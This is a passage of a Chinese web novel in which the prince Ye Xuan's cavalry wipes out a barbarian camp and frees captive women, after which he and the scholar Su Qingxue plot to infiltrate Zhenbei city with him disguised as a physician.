刀疤首领肝胆俱裂,他最后的求生欲望爆发,指着身后的山谷入口,嘶吼道:“别杀我!我知道一个秘密!这山谷里,是我们屠各部落的一个秘密据点!里面囤积了大量的粮草和……和抢来的女人!我把一切都献给你们,只求饶我一命!”
偏将的动作,微微一顿。
也就在这时,他敏锐的耳朵捕捉到了从山谷另一侧传来的,那熟悉的、令天地为之变色的马蹄轰鸣声。
是主上!
主上的大军也来了!
偏将不再浪费时间,眼中最后一丝戏谑也消失殆尽。
“你的情报,很有用。”
“作为奖赏……”
刀疤首领眼中爆发出狂喜的光芒。
“……赐你一个痛快。”
噗嗤!
雪白的长槊,毫无阻碍地洞穿了他的心脏。
刀疤首领脸上的狂喜凝固,带着无尽的恐惧和不甘,彻底失去了生息。
偏将抽出长槊,冷漠地甩掉上面的血珠,调转马头,面向山谷。
“一队听令!”
“随我……杀进去!”
……
当叶玄率领大军抵达山谷入口时,谷内已经响起了零星的喊杀声和惨叫声。
他知道,是之前的队伍。
他没有停留,直接策马而入。
眼前的景象,让他眉头微皱。
这是一个规模不小的营地,搭建着数十个简陋的帐篷,四处散落着兽骨和垃圾,空气中弥漫着一股令人作呕的腥臊和血腥味。
一些衣衫不整的北莽蛮子,刚从帐篷里冲出来,还没来得及看清敌人是谁,就被一道道白色的闪电贯穿了身体。
屠杀,依旧在继续。
只不过这一次,战场换到了一个更加肮脏的地方。
“来人!”
叶玄的声音在混乱的战场上响起。
“末将在!”
那名偏将浑身浴血,从一个最大的帐篷中走出,快步来到叶玄马前,单膝跪地。
“主上,据点内一百七十二名北莽蛮夷,已清剿大半,还请主上稍待片刻!”
“不必了。”
叶玄低头看了一眼怀中的苏轻雪,声音不容置疑。
“立刻清理出一顶最干净的帐篷,生火,烧水!快!”
“诺!”
偏将立刻起身,亲自带人行动。
大雪龙骑的效率高得可怕,不过短短一刻钟,整个营地便被肃清。
尸体被拖到角落统一处理,一顶宽敞的帐篷被彻底打扫干净,里面甚至升起了火盆,驱散了阴冷和潮气。
叶玄抱着苏轻雪,大步走入帐篷,将她轻轻放在早已铺好的毛毯上。
他挥了挥手,示意所有人退下。
帐篷内,只剩下他和昏迷的苏轻雪。
叶玄深吸一口气,摒除所有杂念。
他并指如剑,指尖萦绕着一缕肉眼可见的金色灵力。
没有丝毫犹豫,他迅速解开了苏轻雪胸前的衣带,露出了她心口处雪白的肌肤。
在那肌肤之下,一缕若有若无的黑气,正在缓缓游走,如同跗骨之蛆。
“破!”
叶玄一声低喝,手指疾点。
金色的灵力,如同神针,精准无比地刺入她周身大穴。
封锁,镇压,梳理!
他的动作行云流水,额头上却渐渐渗出细密的汗珠。
苏轻雪体内的沉疴,比他想象的更顽固,那股黑气仿佛有自己的生命,疯狂地冲击着他的灵力封锁。
足足一炷香的时间过去。
叶玄才缓缓收回手指,脸色苍白了几分。
他重新为苏轻雪盖好衣物,看着她虽然依旧昏迷,但脸色已经恢复了些许红润,呼吸也变得平稳悠长,这才松了一口气。
暂时,是稳住了。
但想要根除,非一日之功。
他走出帐篷,刺眼的阳光让他微微眯起了眼。
赵阳早已等候在外。
“主上,营地已经彻底控制。另外……我们在几个帐篷里,发现了一些被掳来的大乾女子。”
第56章 这个地方,归我了
偏将的语气有些沉重,带着一丝军人特有的肃杀。
叶玄顺着他的目光看去。
营地最边缘的角落,火光照不到的阴影里,十几个身影蜷缩在一起。
她们是女人。
衣衫破碎得几乎无法蔽体,裸露的肌肤上布满了触目惊心的青紫伤痕。
一张张脸上,是同一种表情。
麻木。
眼神空洞得像一口早已干涸的枯井,看不到任何光亮,也倒映不出任何东西。
那是……哀莫大于心死。
周围的大雪龙骑将士们,如同一尊尊沉默的雕塑,远远地站着,没有一人靠近。
但他们身上那股铁与血浇筑而成的煞气,依旧让那些可怜的女人控制不住地瑟瑟发抖。
叶玄的眼神,平静无波,宛如一潭冰封了千年的寒潭。
他迈开脚步,缓步走了过去。
他的脚步声很轻,但在死寂的空气中,却像重锤一样敲在每个人的心上。
女人们感受到了他的接近,身体抖得更厉害了,喉咙里发出被扼住一般的、压抑的呜咽。
恐惧,是铭刻在她们骨子里的本能。
叶玄在她们面前三步之外站定,这个距离,既有压迫感,又不至于让她们彻底崩溃。
他的声音很平淡,没有任何情绪,却异常清晰地传进每个人的耳朵。
“北莽的杂碎,已经死光了。”
“从现在起,这个地方,归我。”
他话音微顿,那双深不见底的眸子,像利刃一样缓缓扫过每一张绝望的脸。
“我给你们两个选择。”
他的声音冷得像北境的寒风。
“第一,那边有金子,是刚从那些杂碎身上搜出来的。”
他抬起下巴,朝不远处一个被暴力打开的木箱示意了一下,里面黄澄澄的光芒在火光下很是刺眼。
“你们可以拿走,自行离开,回家。”
“第二,留下来。”
“我不会对你们有任何承诺,也给不了你们荣华富贵。”
“但在这里,能保证你们有饭吃,有衣穿,有火烤,无人再敢欺辱你们分毫。”
“想好了,就自己去选。”
说完,叶玄便转过身,背对着她们,仿佛多看一眼都觉得浪费时间。
他不是救世主,更不是善人。
他只是在陈述一个冰冷的事实,然后给予一个机会。
是带着虚无缥缈的财富滚回那个可能早已破碎的“家”,还是留在这片刚刚被鲜血洗刷过的屠宰场,抓住一根活下去的稻草。
选择权,在她们自己手里。
身后,是死一般的寂静。
那些女人僵住了,似乎连“选择”这个词,对她们来说都太过遥远和陌生。
时间,一息一息地流逝。
终于,一片压抑的死寂中,一个沙哑到几乎听不清的女人声音,颤抖着响起。
“家……”
“我们……我们这些人……哪里还有家啊……”
这一声,仿佛一个开关。
瞬间,那被压抑了不知多久的,绝望到极致的哭声,如同决堤的洪水,轰然爆发。
不是嚎啕大哭,而是一种从灵魂深处挤压出来的、撕心裂肺的呜咽。
她们哭着,身体剧烈地颤抖。
终于,有一个女人,用尽全身的力气,挣扎着从冰冷的地上爬了起来。
她的腿在打颤,几乎站立不稳。
她没有去看那箱金子,哪怕一眼都没有。
她只是搀扶起身边另一个哭到昏厥的姐妹,然后,蹒跚着,一步一步,走向那个给出生路的、冰冷的背影。
一个,两个……
越来越多的女人站了起来。
她们互相搀扶着,像一群在风雪中迷失了方向的羔羊,找到了唯一的篝火。
她们走到了叶玄的身后。
然后,仿佛用尽了最后一丝力气,齐刷刷地,跪了下去。
额头重重地磕在冰冷而坚硬的土地上。
没有一句感谢,只有此起彼伏的、沉重的叩首声。
偏将看着这一幕,眼神复杂。
最终,那丝复杂化为了对自家主上那深不可测手段的无尽敬畏。
没有一句安慰的废话,没有一丝多余的怜悯。
只用两个最残酷、也最真实的选择,便将这些本已彻底死去的心,重新收拢。
这种手段,比单纯的杀戮,更令人心悸。
叶玄没有回头。
他只是微微仰头,看了一眼被夜幕彻底吞噬的天空。
算算时间,落凤坡那边,也该有消息回来了。
他心中默默盘算着。
有了这个临时的据点,有了这些需要庇护的人,他接下来的每一步,都必须走得更加谨慎。
镇北城,必须尽快抵达。
因为只有在那里,他才能真正地,开始落子。
布一个,足以搅动这天下风云,让所有人都为之战栗的惊天大局!
……
就在这时,远方的旷野上,传来了急促而沉重的马蹄声。
蹄声整齐划一,带着一股一往无前的铁血气息。
是大雪龙骑!
偏将精神一振,立刻迎了上去。
片刻之后,一千骑兵卷着风尘而来,在山谷口整齐勒马,动作如一人。
为首的赵阳翻身下马,快步走到叶玄面前,单膝跪地,铠甲碰撞之声铿锵作响。
“启禀主上!属下奉命前往落凤坡查探,任务已毕!”
正是之前被派去营救忠叔的那一千大雪龙骑。
叶玄转过身,目光落在他身上,声音平稳:“情况如何?”
赵阳头盔下的声音,带着一丝凝重:“回主上,落凤坡密林之中,已无活口。”
“我们抵达时,战斗已经结束。林中共有两拨人的尸体,一拨是苏家护卫,共九十七人,人人死战不退,身上皆有多处致命伤。”
“另一拨,是身着黑衣的骑兵,初步清点,约有两百六十余具尸体。”
“从现场痕迹判断,苏家护卫以不足百人之力,在此地死死拖住了三百精锐骑兵,并将其重创。但终因寡不敌众,全军覆没。”
将领的声音不带感情,却将那场战斗的惨烈描绘得淋漓尽致。
叶玄点了点头,这与他的预料相差无几。
忠叔那些护卫,确实是忠勇之士。
“忠叔呢?”叶玄问出了关键。
赵阳的头微微低垂:“属下带人搜遍了整个战场,找到了九十七名苏家护卫的遗体,但……并未发现老人的尸身。”
没有发现?
叶玄的眼眸微微一眯。
这就有意思了。
战场之上,没有发现尸体,通常只意味着两种可能。
要么,是被敌人挫骨扬灰,连一丝痕迹都没留下。
要么,就是他根本没死。
以那三百骑兵的穷凶极恶,若是抓到忠叔,绝不可能轻易放过,更不可能好心替他收尸。
那么,答案就只剩下一个。
“知道了。”
叶玄的声音依旧平静,听不出喜怒。
“传令下去,将苏家护卫的遗体就地妥善安葬,立碑为记。”
“是!”
“另外,”叶玄的目光扫过整个山谷营地,“立刻清点谷内所有物资,粮草、兵器、饮水,分门别类,半个时辰后,我要看到完整的清单。”
“遵命!”
赵阳领命而去,整个营地再次高效地运转起来。
叶玄不再理会外面的事务,转身走进了那顶为苏轻雪准备的、最干净的帐篷。
帐篷内,火盆燃烧着,散发着温暖的橘色光芒。
苏轻雪依旧静静地躺在毛毯上,呼吸平稳,脸色比之前好了许多,但眉宇间依然锁着一抹化不开的愁绪,仿佛在梦中也承受着巨大的痛苦。
叶玄走到她身边,重新坐下,伸手搭上她的皓腕。
灵力探入,确认她的心脉已经彻底稳固,那股作祟的黑气也被暂时镇压在她气海深处,这才放下心来。
他静静地看着她。
这张清冷绝俗的脸上,此刻写满了脆弱。
或许是感受到了身边有人,又或许是他的灵力气息让她感到安心,苏轻雪的眼睫毛,轻轻颤动了一下。
缓缓地,她睁开了眼睛。
初时,眼神有些迷茫,像是不知道自己身在何处。
当她的目光聚焦在叶玄的脸上时,那片刻的迷惘迅速褪去,取而代之的是潮水般涌来的记忆。
落凤坡、忠叔决绝的背影、三百骑兵的追杀、震天动地的马蹄声、还有那支从天而降的白色神兵……
第57章 叶公子,拜托你了!
“我……”
她刚一开口,嗓音干哑得如同被砂纸磨过,艰涩刺耳。
“你醒了。”
叶玄收回搭在她手腕上的手指,语气平淡得像在陈述一件与自己毫不相干的事。
“你旧疾复发,昏过去了。”
苏轻雪挣扎着,本能地想坐起身,却只感到四肢百骸传来一阵阵脱力后的酸软。
“别动。”
叶玄的声音依旧没什么起伏。
“你身体还很虚弱。”
苏轻雪的目光艰难地扫过这顶陌生的帐篷,看到了角落里静静燃烧的火盆,还有身上盖着的、带着阳光味道的干净毛毯。
她知道,自己暂时安全了。
可是……
那个苍老却坚毅的背影,如同烙印一般,瞬间灼烧了她的理智。
“忠叔!”
她猛地伸出手,死死抓住了叶玄的衣袖,指节因为过度用力而根根泛白,那双清冷的眸子里,此刻被惊惶与哀求彻底填满。
“忠叔他……他怎么样了?!”
“你派去的人……回来了没有?!”
她最放心不下的,终究还是那个为了她,选择独自走向死亡深渊的老人。
叶玄垂眸,看着她那双仿佛下一秒就要碎裂的眸子,罕见地沉默了片刻。
他没有立刻回答。
而是转身,从一旁的矮几上端起一杯早已备好的温水,递到了她的唇边。
“先喝水。”
他的语气,不带命令,却比命令更让人无法抗拒。
苏轻雪此刻心急如焚,哪里有半分饮水的心思,但迎上叶玄那双深不见底的、毫无波澜的眼眸,她还是鬼使神差般地顺从了。
温热的水流滑过干涸的喉咙,带来一丝微不足道的滋润。
也让她那颗几乎要跳出胸膛的心,稍稍安定了一瞬。
“他们回来了。”
叶玄放下水杯,终于开口。
简简单单五个字,却像一只无形的大手,瞬间攥紧了苏轻雪的心脏,让她几乎窒息。
她在等待着最后的宣判。
“落凤坡,苏家护卫,九十七人。”
“全员战死。”
叶玄的声音,像一把淬了冰的刀,不带任何感情,却精准无比地,一刀一刀割在苏轻雪最柔软的心上。
她的脸色“唰”的一下,血色尽褪,惨白如纸。
眼中那刚刚燃起的一丝光亮,也仿佛在这一刻,被狂风彻底吹熄。
全员……战死……
忠叔……
巨大的悲恸如同潮水,瞬间淹没了她,让她连呼吸都变得困难,眼泪像是断了线的珠子,不受控制地汹涌而出。
然而,就在她即将被绝望吞噬的刹那,叶玄接下来的话,却让她整个人都僵在了原地。
“但是。”
他直视着她的眼睛,声音不大,却一字一句,清晰地敲进了她的灵魂深处。
“我的人搜遍了整个战场,没有找到忠叔的尸体。”
没有找到……尸体?
苏轻雪猛地抬起头,泪眼婆娑地望着他,那张苍白的脸上写满了难以置信。
“没……没有找到?”
“对。”
叶玄微微颔首,像是在确认一个再寻常不过的事实。
“活不见人,死不见尸。”
轰!
这八个字,像是一道贯穿天地的惊雷,在苏轻雪那片混沌死寂的脑海中悍然炸响!
绝望的万丈深渊里,仿佛硬生生被撕开了一道裂缝,有一丝微弱的光,顽强地透了进来。
活不见人,死不见尸!
以那些追兵的凶残,若忠叔战死,绝不可能为他收敛尸骨。
那便只剩下一种可能!
还活着!
这个念头疯狂滋生,像野草一样瞬间占据了她所有的心神。
她死死地盯着叶玄,声音颤抖得不成样子,带着最后一丝确认的希冀。
“真……真的吗?你不是……不是在安慰我?”
“我从不骗人。”
叶玄的语气依旧平淡得近乎冷酷。
“我只是在陈述一个事实,以及基于这个事实的最大可能性。”
“在找到他的尸体之前,你可以默认,他还活着。”
苏轻雪的眼泪流得更凶了。
但这一次,泪水中却交织着劫后余生的狂喜和死灰复燃的希望。
只要还活着,就还有希望!
忠叔……他还活着!
剧烈起伏的情绪,让她本就虚弱的身体再度微微颤抖起来,呼吸也变得急促。
叶玄的眉头不易察觉地轻轻一皱。
他伸出两根手指,快如闪电,在她脖颈侧后方的一个穴位上轻轻一点。
一股温和却不容抗拒的灵力瞬间渡入。
苏轻雪那激动翻涌的情绪,像是被一只无形的手强行抚平,身体的颤抖停止了,一股倦意袭来,但神智却又诡异地保持着清醒。
“你的身体,经不起第二次折腾。”
叶玄收回手,声音里带着一种不容置疑的决断。
“现在,你要做的,是养好身体。”
“只有你活着,并且活得比任何人都好,忠叔今日的牺牲和坚持,才有意义。”
“也只有这样,才有找到他的可能。”
苏轻雪怔怔地看着他。
看着这个亲手将她推入绝望,又在她即将沉沦时,递给她一丝希望的男人。
他的话语依旧冰冷,不带一丝温度。
却像一根定海神针,让她瞬间从狂喜与悲伤交织的混乱中清醒过来。
是啊。
自己现在就是最大的累赘。
如果自己先垮了,那一切就都完了。
忠叔的牺牲,就真的白费了。
她用力地点了点头,抬手,狠狠地擦干了脸上的泪水。
那双哭得红肿的眸子里,重新燃起了一丝属于京城第一才女的坚韧与清明。
“我明白了。”
“小姐,就拜托你了。”
忠叔最后的话语,依然在耳边回响。
她看着叶玄,这一次,她的声音不再颤抖,而是带着一种前所未有的郑重。
“叶公子,忠叔的性命,苏家的清白,还有我苏轻雪这条命。”
“就……全都拜托你了。”
这一句“拜托”,不再是弱者的哀求,而是一个聪明人,在看清局势后,做出的最理智的投资。
她将自己的一切,都押在了这个深不可测的男人身上。
叶玄深深地看了她一眼,没有应承,也没有拒绝。
“好好休息。”
他只留下这四个字,便准备起身。
就在这时。
“咚咚。”
帐篷外,传来了沉稳而有节奏的敲击声,是甲胄与帐篷木桩的轻微碰撞。
“主上。”
是赵阳的声音。
“营地物资,已清点完毕。”
叶玄的眼神没有丝毫变化,仿佛早就料到了一般,他转身,掀开帐帘,径直走了出去。
寒风灌入,让帐内的苏轻雪打了个冷颤,也让她更加清醒。
帐外,火光冲天,人影绰绰。
赵阳单膝跪在叶玄面前,手中捧着一份用木炭草草写在兽皮上的清单。
“启禀主上!营地内所有物资已清点完毕!”
“粮草,共计一百三十七石。兵器,多为北莽制式弯刀,共七百八十二把,另有弓三百张,箭矢五千支。”
“此外,还发现黄金三百余两,白银一千六百两,以及大量被褥、药材等杂物。”
叶玄接过清单,目光只是随意一扫,便落在了“粮草”那一项上。
赵阳仿佛知道主上在想什么,立刻补充道。
“主上,属下检查过那些粮草。”
他的声音压低了几分,带着一丝凝重。
“其中大部分,约一百石,都是粗糙的粟米,装在破旧的麻袋里,看样子是他们从周边村庄或商队劫掠而来。”
“但是……”
赵阳话锋一转。
“还有三十几石,却是上好的精米,用的是崭新的、印有‘陈记粮行’字样的布袋装着。”
“属下特地找了那几个被解救的女子询问,她们说,这种精米,是屠各部落的头领才有资格享用的,每隔半月,便会有一支商队,秘密送来补给。”
第58章 陈记粮行
陈记粮行。
秘密补给。
这几个词,像是一把钥匙,瞬间打开了叶玄脑海中一扇全新的大门。
他的嘴角,勾起一抹冰冷而玩味的弧度。
真是……瞌睡了就有人送枕头。
这支盘踞在边境的北莽游骑,根本不是什么流寇。
他们是一群被圈养的狼!
有人在关内,为他们提供精粮,维持着他们的战力,让他们像一把尖刀,时时刻刻悬在镇北城的咽喉上。
目的,不言而喻。
养寇自重!
镇北城那位手握二十万大军的镇北王,恐怕早就不是铁板一块了。
城内,必然有人希望边境永远不得安宁。
因为只有这样,他们才能不断地向朝廷索要军费,才能中饱私囊,才能将这北境之地,变成自己的独立王国!
一个内部腐化、派系林立的镇北城,对他而言,简直是天赐的良机!
浑水,才好摸鱼啊!
这盘棋,越来越有意思了。
“做得很好。”
叶玄淡淡地夸了一句,对赵阳而言,却已是莫大的荣耀。
“传令下去,全军休整,加强警戒。另外,将那些陈记粮行的米袋,单独收好。”
“遵命!”
赵阳领命,恭敬地退下。
叶玄转身,重新走进了那顶温暖的帐篷。
苏轻雪并没有睡去,她只是静静地躺着,似乎在倾听外面的动静。
看到叶玄进来,她的眼神动了动。
叶玄走到她床边,重新坐下,帐篷内的气氛一时间有些安静。
“刚刚外面的话,你都听到了?”
叶玄突然开口,打破了沉默。
苏轻雪的身体微微一僵。
她没想到叶玄会问自己这个。
她是一个极度聪明的女人,一瞬间就明白了叶玄这句问话背后的深意。
他不是在闲聊。
他是在……考校自己。
在见识了自己那支恐怖的大雪龙骑之后,他仍然愿意询问自己的看法,这说明,在他的眼中,自己的价值,并不仅仅是一个需要保护的弱女子。
他看重的,是自己的头脑。
是那个京城第一才女的身份背后,所代表的对大乾朝局的洞察力。
想通了这一点,苏轻雪的心反而彻底定了下来。
她沉吟了片刻,整理着脑海中的信息,然后才轻声开口,声音虽然依旧虚弱,但条理却异常清晰。
“陈记粮行,是京城四大粮商之一,其背后,是户部侍郎陈松。”
“陈松此人,是太子的人。”
“但……”
她话语一顿,清亮的眸子看向叶玄。
“将粮草从京城千里迢迢运到北境边关,再秘密交给北莽游骑,仅凭一个户部侍郎,绝无可能做到。”
“这其中,必然有镇北城内部的人接应,而且,此人的地位,绝对不低。”
“他能绕开镇北王的耳目,甚至,镇北王本身……或许就对此事睁一只眼闭一只眼。”
叶玄静静地听着,脸上依旧是那副古井无波的表情,但眼底深处,却闪过一丝不易察觉的赞许。
这个女人,果然敏锐得可怕。
只凭只言片语,便将整件事的脉络猜出了七八分。
苏轻雪没有停下,继续分析道:
“养寇自重,无非是为了兵权与钱粮。”
“这说明,镇北城内,至少有两派势力。一派,想要边境安稳;而另一派,则希望北莽的刀,永远悬在头顶。”
“叶公子你……突然出现在这里,又掌握着如此一支神兵,无论你想做什么,都必然会打破镇北城现有的平衡。”
“这批粮草,就是你送给其中一派的‘投名状’,也是你插向另一派心脏的……一把刀。”
说完,她静静地看着叶玄,等待着他的评判。
帐篷内,只剩下火盆里木炭偶尔发出的“噼啪”声。
许久。
叶玄才缓缓开口,声音里听不出喜怒。
“看来,救你一命,是我这次北上,做的最正确的一笔买卖。”
帐篷内,只剩下火盆里木炭偶尔发出的“噼啪”声,将两人的影子投在帐壁上,忽明忽暗。
苏轻雪的心脏,在听到这句话的瞬间,非但没有感到被轻视的屈辱,反而彻底地、安稳地落回了原处。
她成功了。
她用自己的头脑,在这个深不可测的男人面前,证明了自己不仅仅是一个需要庇护的累赘。
她是一枚有用的棋子,甚至,是一个有资格与他一同执棋的盟友。
“买卖,便有价码。”
苏轻雪迎着叶玄的目光,苍白的脸上浮现出一丝智慧的光芒,那份属于京城第一才女的从容与锋芒,正在悄然回归。
“叶公子想要的,恐怕不仅仅是这北境之地吧。”
叶玄眼底的赞许,终于不再掩饰。
和聪明人说话,就是如此轻松。
他不需要解释自己为何而来,也不需要粉饰自己的野心。
她都懂。
“镇北城,是我的第一步。”
叶玄的声音很轻,却带着一种不容置疑的决断力,仿佛在陈述一个既定的未来。
“这批粮草,就是敲门砖。”
“我要用它,敲开镇北城那扇看似坚固的大门,接触其中一方势力,与他们假意合作。”
他的手指在身侧的矮几上轻轻敲击着,发出沉闷的声响,每一下,都仿佛敲在命运的节点上。
“然后,将这潭水,彻底搅浑。”
“浑水摸鱼,趁乱而起。如此,我才能在这北境,真正地站稳脚跟,为自己谋得一片立足之地。”
他的计划,简单、粗暴,却又直指核心。
苏轻雪静静地听着,清冷的眸子在火光下闪烁。
片刻之后,她才轻启朱唇,虚弱的声音却带着一种洞悉人心的力量。
“公子的计划很好,但有一个问题。”
“以你如今的身份,手握一支战力如此恐怖的骑兵,突然出现在镇北城外,无论你向哪一方示好,都只会引来最深的忌惮与防备。”
“你这块敲门砖,太过沉重,也太过锋利。”
“他们不敢接,也接不住。”
“到时候,原本内斗的双方,很可能会因为你的出现,而暂时联手,先将你这个最大的变数,彻底铲除。”
第59章 联系方式
一语中的。
这正是叶玄计划中最大的风险。
大雪龙骑是他最大的底牌,却也是最容易引来杀身之祸的根源。
他看向苏轻雪,眼神中带着一丝探寻。
他想听听,这位才女,能给出怎样的答案。
苏轻雪没有让他失望。
她微微喘了口气,似乎这番话耗费了她极大的心神,但思路却愈发清晰。
“所以,叶公子不能是手握重兵的‘叶公子’。”
“至少,明面上不能是。”
她的目光,落在了叶玄那双沉静如海的眼眸上。
“你救了我,不是吗?”
“你的医术,神乎其技,堪称起死回生。”
“一个能治好我苏轻雪顽疾的神医,其价值,绝不亚于千军万马。”
“镇北城那位王爷,据说年事已高,身体抱恙多年。城中将领,常年征战,谁身上没点旧伤顽疾?”
“一个背景神秘、医术通天的神医,远比一个来历不明的强龙,更容易被他们接受和拉拢。”
“以神医的身份为表,潜入镇北城这潭深水。”
“以大雪龙骑为里,在暗中搅动风云。”
“明暗结合,虚实相生。”
“这,才是万全之策。”
一番话毕,帐篷内再次陷入了极致的安静。
叶玄凝视着她,那双深不见底的眸子里,第一次真正地掀起了波澜。
他原本只想着如何利用粮草作为筹码,强行破局。
而苏轻雪,却为他提供了一条更隐蔽、更安全,也更毒辣的道路。
神医的身份,是最好的伪装。
它能让自己顺理成章地接触到镇北城最高层的人物,在无声无息间,洞悉他们的虚实,播下离间的种子。
而他,叶玄,也确实当得起神医二字。
这个女人……
当真是天赐的礼物。
“好。”
许久,叶玄只说了一个字。
但这个字的分量,却比千言万语更重。
他站起身,居高临下地看着床榻上那名看似柔弱,实则内心无比强大的女子。
“那么,苏小姐,可愿与我一同,去这镇北城走一遭?”
苏轻雪的嘴角,牵起一抹极淡的笑意,像是寒冬里悄然绽放的腊梅,清冷而坚韧。
“我有的选吗?”
她反问了一句,随即又自己给出了答案。
“其一,小女子不懂军旅之事,留在这山谷大营之中,于公子而言,毫无用处,反倒是累赘。”
她的声音顿了顿,目光扫过自己依旧虚弱的身体,带着一丝自嘲。
“其二,我这条命,是公子从鬼门关拉回来的。我的病,也只有公子能治。若离了公子,不出三日,我便会旧疾复发,到时候,恐怕等不到公子搅动风云,我便已是一具枯骨。”
“于公于私,我都必须跟在公子身边。”
“所以,不是我愿不愿意去。”
她抬起眼,眸光清亮地直视着叶玄。
“而是,我必须去。”
叶玄点了点头。
他喜欢这种清醒的认知。
“很好。”
他没有再多言,转身,掀开厚重的帐帘,径直走了出去。
一股冰冷的寒风瞬间灌入,吹得火盆里的火苗一阵摇曳。
苏轻雪下意识地裹紧了身上的毛毯,那股寒意,却让她混乱的思绪变得更加清醒。
她知道,从这一刻起,她和这个男人,才算是真正绑在了一辆战车上。
一荣俱荣,一损俱损。
……
帐外,火光映照着一张张冷硬而肃杀的脸庞。
大雪龙骑的士兵们,正以一种高效到可怕的效率,清理着整个营地,仿佛一群精密的杀戮机器。
赵阳早已在帐外等候,见叶玄出来,立刻单膝跪地,甲胄发出沉闷的声响。
“主上!”
“传我命令。”
叶玄的声音在寒夜中显得格外清晰,带着不容置疑的威严。
“大军主力,就地潜藏于这山谷之中,抹去一切痕迹,不得暴露。”
“遵命!”
“斥候队向外扩展五十里,严密监视所有通往此地的道路。记住,我要的是绝对掌控,任何风吹草动,都必须第一时间传回。”
“遵命!”
“那批陈记粮行的粮草,是关键。”
叶玄的目光,投向了夜色深处,仿佛已经看到了那支即将到来的“补给商队”。
“根据那女子的说法,他们每半月补给一次。算算时间,下一次,应该就在这三五日之内。”
“我不管来的是谁,是什么商队。”
他的声音陡然转冷,杀意凛然。
“人,全部
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杀了,一个不留。”
“货,全部抢了,一粒不剩。”
“把他们的衣服扒下来,尸体处理干净,伪装成被流寇洗劫的样子。”
赵阳的眼中闪过一丝嗜血的光芒,重重叩首。
“属下明白!”
“最后一点。”
叶玄的语气稍缓,这是最关键的一环。
“我进入镇北城后,你们与我的联系方式。”
他沉吟片刻,脑中已有了万全之策。
“以三日为期。”
“每隔三日,你派一名最精锐的斥候,乔装成进城卖皮货的猎户,去城东找自己。”
说着叶玄在雪地上画上一个记号。
“找到这个记号,就是咱们接头的地方。”
“到时候每天卯时、午时、酉时三个时辰,去客栈大堂的角落桌子上坐一刻钟,点一壶最便宜的粗茶。”
“若我无事,便不会有人去理会他。一刻钟后,他自行离去即可。”
“若我有令,会派人以店家,添壶热水为暗号,上前接触。届时,听令行事。”
“此外,你需每日向我汇报营地情况,尤其是粮草的消耗。”
叶玄从怀中取出一只极小的竹哨,递给赵阳。
“镇北城外十里,有一座鹰愁崖。若遇紧急军情,或是我在城中久无消息,你便去崖顶,吹响此哨,我自会收到。”
这套联络方式,层层递进,虚实结合,既保证了日常通讯,又留下了紧急预案,堪称天衣无缝。
赵阳双手恭敬地接过竹哨,郑重地贴身收好,眼神中充满了对主上深不可测的敬畏。
“主上放心!赵阳便是拼了这条性命,也绝不负主上所托!”
“去吧。”
叶玄挥了挥手。
赵阳起身,没有丝毫拖沓,转身融入了夜色之中,开始雷厉风行地执行命令。
叶玄独自站在寒风中,抬头望向远处,仿佛看到了那座巍峨大城!
镇北城。
他嘴角勾起一抹冰冷的弧度。
这盘棋的棋盘,终于摆好了。
而他,叶玄,便是那唯一的执棋者。
他要让这天下所有人都看一看,当一个顶级的精算师,手握一支无敌的铁骑,开始布局复仇时,将会是何等恐怖的景象。
太子,父皇……
你们,准备好了吗?
第60章 一针惊北城
凛冽的寒风如刀,卷着沙砾,拍打在镇北城那饱经风霜的城墙上,发出沉闷的呜咽。
城墙高逾十丈,通体由巨大的青黑岩石垒砌而成,岁月在上面留下了无数深浅不一的沟壑与伤痕,那是刀劈斧凿的印记,更是北莽游骑一次次疯狂攻城后失败的勋章。
城门之下,叶玄勒住马缰,抬头仰望着这座雄关。
与大乾京城的繁华精致截然不同,这里的一切都透着一股粗粝、铁血的雄浑之气。
空气中,似乎都弥漫着一股淡淡的铁锈与草料混合的味道。
他身侧,苏轻雪裹在厚厚的狐裘大氅中,绝美的小脸被冻得有些苍白,望向这座巨城的眸子里,带着一丝难掩的震撼。
“好一座镇北城。”
叶玄淡淡开口,声音不大,却带着一丝不易察觉的审视。
他看到的不是城墙,而是防线。
不是守卫,而是兵卒的精气神。
这些守城士兵,个个身材魁梧,眼神警惕,身上那股百战余生的煞气,是京城禁军无论如何也伪装不出的。
镇北王,能以此城拒北莽三十年,绝非浪得虚名。
缴纳了入城费,两人牵马而入。
城内是另一番景象。
宽阔的街道上,随处可见佩戴兵器的武人,他们成群结队,高声谈笑,眼神彪悍。
街道两旁的商铺,卖的也多是兵器、皮货、烈酒等军需之物。
这里没有江南的温婉,没有京城的雍容,只有最原始、最直接的丛林法则。
强者为尊。
叶玄和苏轻雪找了一家名为“有朋来”的客栈住下,客栈的伙计动作麻利,但看人的眼神,也带着一股审视的意味。
房间内,火盆烧得正旺,驱散了些许寒意。
苏轻雪捧着一杯热茶,小口抿着,苍白的脸色终于恢复了一丝红润。
“叶公子,我们接下来,该如何行事?”
她主动开口,清冷的眸子望向叶玄。
她知道,从踏入这座城开始,每一步都必须小心翼翼,如履薄冰。
叶玄坐在窗边,目光看着楼下人来人往的街道,平静地说道:“苏小姐为我擘画了神医的身份,这很好。但一个名不见经传的医生,想见到镇北王,无异于痴人说梦。”
“我们需要一个契机,一个能让‘叶神医’三个字,一夜之间传遍镇北城,甚至传入王府的契机。”
苏轻雪冰雪聪明,立刻明白了叶玄的意思。
“公子是想……”
叶玄嘴角勾起一抹弧度,那笑容里带着精算师独有的冰冷与算计。
“寻常的义诊,收拢人心太慢,也太低效。我要的不是名声,而是价值。是那种能让镇北王都无法忽视的、独一无二的价值。”
他顿了顿,看向苏轻雪。
“所以,我们不治百病。”
“我们只治一种病——绝症。”
“那些被镇北城所有大夫判了**,只能等死的绝症!”
苏轻雪的呼吸微微一滞,美眸中瞬间绽放出夺目的光彩!
寻常义诊,是广撒网,收获的是一群无关紧要的平民的感激。
而叶玄的办法,是“定点爆破”!
治好一百个风寒,其影响力,也远远不如治好一个必死之人!
这才是真正的“神乎其技,起死回生”!
这才是价值!
“公子高明!”苏轻雪由衷赞叹,“寻常大夫避之不及的绝症病人,在我们这里,却是最好的敲门砖!”
她思路急转,立刻补充道:“但这种病人不好找,而且我们初来乍到,如何让他们相信我们?”
“这便是苏小姐你的任务了。”叶玄的目光落在她身上,“你比我更懂人心,也更擅长收集消息。我要你用最短的时间,找出这么一个‘靶子’。”
“一个病得越重越好,身份越有话题性越好,最好是满城皆知,所有人都认为他死定了的人。”
苏轻雪重重点头,眼神坚定:“小女子明白。此事,交给我。”
……
当天下午。
镇北城,南城坊市。
这里是平民和底层佣兵混居的地方,龙蛇混杂,喧闹无比。
一个简陋的摊位,就在街角最显眼的位置支了起来。
